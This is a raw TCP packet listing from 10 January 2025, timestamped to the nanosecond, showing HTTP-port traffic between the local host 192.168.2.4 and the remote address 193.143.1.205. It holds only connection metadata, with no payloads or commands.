Jan 10, 2025 19:36:24.450818062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451015949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451024055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451071024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451160908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451168060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451179028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451216936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451226950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451244116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451256037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451261997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451292038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451307058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451740980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451749086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451761007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451767921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451775074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451790094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.451803923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.451834917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452153921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452166080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452172995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452178955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452186108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452193022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452208042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452219009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452231884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452253103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452563047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452608109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452610970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452698946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452706099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452718973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452750921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.452953100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452960014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452970982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.452975988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.453001976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.453032017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.453581095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.458893061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.481077909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.481132030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.481139898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.481218100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.514983892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515050888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515062094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515113115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.515157938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.515194893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515206099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515214920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515224934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515244961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.515285969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.515547037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515557051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515564919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.515594959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.531420946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.531497955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.531507015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.531554937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.531567097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.531585932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548335075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548346043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548365116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548422098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.548463106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.548485041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548496008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548516989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548561096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.548760891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548770905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548787117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548794985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.548820019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.548839092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.565999031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566030025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566041946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566076040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566112995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566175938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566299915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566308975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566327095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566335917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566359997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566387892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566564083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566622972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566632986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566641092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566643953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566698074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.566962004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566971064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.566991091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567008972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567018032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567028046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567034006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567043066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567047119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567051888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567061901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567073107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567095041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567127943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567876101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567884922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567900896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567908049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567915916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567924023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567933083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567938089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567943096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567953110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567959070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.567960978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567974091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567981958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.567995071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.568011045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.568840981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568860054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568867922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568876028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568891048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568898916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568902016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.568908930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568926096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568938017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568942070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.568952084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568960905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568965912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.568967104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.568984985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569017887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569756985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569768906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569786072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569793940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569809914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569818974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569822073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569828987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569844961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569849968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569855928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569871902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569873095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569881916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569899082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.569904089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.569945097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570672989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570694923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570703030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570723057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570723057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570733070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570743084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570750952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570758104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570760965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570777893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570785999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570794106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570795059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570804119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570810080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.570820093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570843935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.570863008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.571557999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571574926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571582079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571590900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571619034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571619034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.571630001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571645975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571649075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.571655989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571671963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571676016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.571681976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571696997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571705103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571719885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.571732044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.571769953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.572561026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.572577953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.572586060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.572594881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.572617054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.572644949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.581768990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.587105989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.601141930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601211071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601219893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601234913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.601267099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.601380110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601394892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601414919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601464987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.601586103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.601633072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.618165016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618228912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618303061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.618369102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618386984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618437052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618441105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.618454933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618458986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618612051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.618618965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.618685007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.620277882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635188103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635257006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635273933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635318041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635405064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635415077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635432959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635462046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635489941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635659933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635668993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635684967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635719061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635886908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635950089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635958910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635967970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.635976076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.635983944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.636003017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.636035919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.652405977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652411938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652483940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.652546883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652556896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652601004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.652679920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652688026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652704000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652736902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.652937889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652945995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652962923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652971029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652978897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.652992010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.652996063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653022051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.653491974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653500080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653515100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653546095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.653573990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.653589010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653604031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653614044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653630018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653633118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.653645039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.653706074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654068947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654078007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654093027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654098988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654115915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654125929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654130936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654140949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654146910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654150963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654159069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654162884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654169083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654186964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654196978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654232025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654871941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654881001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654896021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654903889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654922962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654926062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654928923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654933929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654933929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654943943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654951096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654954910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.654961109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654968977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.654993057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655021906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655749083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655757904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655772924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655781031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655787945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655803919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655803919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655813932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655828953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655829906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655837059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655853033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655853033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655862093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655878067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.655883074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655910015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.655930042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.656618118 CET	80	49730	193.143.1.205	192.168.2.4
